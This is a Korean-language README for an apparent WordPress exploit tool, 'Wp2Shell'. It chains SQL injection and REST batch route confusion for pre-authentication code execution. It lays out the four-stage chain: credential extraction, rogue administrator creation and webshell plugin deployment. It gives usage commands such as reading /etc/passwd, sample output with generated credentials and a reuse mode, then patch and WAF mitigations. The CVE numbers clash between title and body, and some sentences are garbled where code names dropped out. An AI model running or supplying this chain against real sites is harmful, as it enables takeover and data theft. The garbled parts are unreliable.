
# Wp2Shell용 익스플로잇 POC, CVE-2026-63030 + CVE-2026-63137
WordPress 코어의 사전 인증 원격 코드 실행.
CVE-2026-60137 (WP_Query의 SQL 인젝션)과 CVE-2026-63030 (REST API 배치 경로 혼동)을 연쇄적으로 사용합니다.
교육 및 승인된 보안 연구 목적으로만 사용하십시오.
WordPress 6.9.0부터 6.9.4까지, 7.0.0부터 7.0.1까지 취약합니다. 6.9.5 및 7.0.2에서 수정되었습니다.
이 익스플로잇은 두 가지 취약점을 연쇄적으로 사용합니다.
CVE-2026-63030 — 배치 경로 혼동. REST API 배치 엔드포인트(/wp-json/batch/v1 또는 /?rest_route=/batch/v1)는 하위 요청을 두 단계로 처리합니다. 먼저 각 경로를 핸들러에 매칭한 다음, 일치하는 핸들러를 통해 각 요청을 디스패치합니다. 의도적으로 잘못된 경로(///)가 첫 번째 하위 요청으로 삽입되면, WordPress는 matched-routes 배열의 인덱스 0에 WP_Error를 저장합니다. 이로 인해 이후의 모든 핸들러 할당이 한 인덱스씩 뒤로 밀립니다. 그러면 디스패치 루프가 각 요청을 잘못된 핸들러와 짝짓게 됩니다. 즉, 스키마 A에 대해 검증된 요청이 핸들러 B에 의해 실행되어, 스키마 A가 적용한 매개변수 삭제를 우회합니다.
CVE-2026-60137 — WP_Query의 SQL 인젝션. 게시물 컬렉션 엔드포인트는 author_exclude 매개변수를 허용하며, 해당 스키마는 정수형 배열 값을 강제하고, 각 요소를 WP_Query에 도달하기 전에 로 삭제합니다. 배치 역동기화로 인해 이 매개변수는 스키마 검증을 완전히 우회하고 원시 문자열로 의 로직에 도달합니다. 가 분기 내에서만 적용되기 때문에, 원시 문자열이 SQL 절에 직접 삽입되어 인젝션이 가능해집니다.
absint()WP_Queryauthor__not_inabsint()is_array()WHEREUNION SELECT전체 체인은 네 단계로 진행됩니다.
UNION SELECT 행을 통해 데이터베이스 버전, 사용자, 테이블 접두사, 관리자 자격 증명을 추출합니다.wp_posts 행을 주입하여 oEmbed 캐시를 오염시키고 WP_Customize_Manager의 변경 세트 게시 훅을 트리거하여 role=administrator로 wp_insert_user()를 호출함으로써 새 관리자 계정을 생성합니다.git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
pip install이 필요하지 않습니다.
네 단계를 모두 실행합니다: 역동기화 확인, SQL 정찰, 관리자 생성, 웹셸 배포. 실행할 때마다 새 관리자 계정과 플러그인이 생성됩니다.
python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
자체 서명 인증서를 사용하는 HTTPS 대상의 경우:
python3 exploit.py --url https://TARGET --command "id" --insecure
전체 체인 실행이 완료되면 스크립트는 배포된 자격 증명과 셸 경로가 미리 채워진 재사용 명령을 출력합니다. 이후 실행에서 이 세 플래그를 전달하여 SQL 및 관리자 생성 단계를 완전히 건너뜁니다:
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
| Flag | Short | Description |
|---|---|---|
--url | -u | 대상 WordPress 기본 URL. 기본값: http://localhost:8080 |
--command | -c | 실행할 OS 명령. 기본값: id |
--insecure | -k | 자체 서명 인증서에 대한 TLS 인증서 확인 비활성화 |
--admin-user | 재사용 모드: 이전에 생성된 관리자 사용자 이름 | |
--admin-password | 재사용 모드: 이전에 생성된 관리자 비밀번호 | |
--prev-webshell-plugin | 재사용 모드: 이미 배포된 웹셸 플러그인의 웹 경로 |
세 개의 --admin-* / --prev-webshell-plugin 플래그는 모두 함께 제공되거나 전혀 제공되지 않아야 합니다.
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : http://localhost:8080
Command: uname -a
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.11.18-MariaDB-ubu2204
[+] Database user : wpuser@%
[+] Database name : wordpress
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [96, 97, 98]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_poc_da4d1cf83acb password: Wp2!J47LBKLEbu4ebAJo
[STEP 4] Authenticating + deploying webshell -- running: uname -a
[*] Logging in to wp-admin...
[+] Logged in as administrator
[*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
[+] Plugin uploaded
[*] Activating plugin...
[+] Plugin activated
[*] Executing: uname -a
============================================================
COMMAND OUTPUT -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain complete
+-- RE-USE HINT ------------------------------------------+
| Skip the full chain next time -- pass these flags: |
+-----------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
즉시 수정된 릴리스로 업데이트하십시오.
wp core updatewp core update --version=6.9.5wp core update --version=6.8.6즉시 패치가 불가능한 경우, 웹 서버 또는 WAF 계층에서 배치 엔드포인트의 두 URL 형식을 모두 차단하십시오. 두 경로를 모두 차단해야 합니다 — 예쁜 permalink 형식만 차단하면 쿼리 문자열 형식이 열려 있습니다:
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
또는 반드시 사용해야 하는 플러그인을 사용하여 WordPress 내에서 엔드포인트를 비활성화할 수 있습니다:
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );
모든 패치 전 제어는 임시 방편으로만 간주하십시오. 가능한 한 빨리 패치를 적용하고 이후 모든 인터넷 연결 인스턴스에서 설치된 버전을 확인하십시오.
이 도구는 교육 목적과 승인된 침투 테스트용으로만 제공됩니다. 시스템 소유자의 명시적인 사전 서면 허가 없이 어떠한 시스템에 대해 실행하는 것은 불법입니다. 저자는 오용으로 인한 어떠한 책임도 지지 않습니다.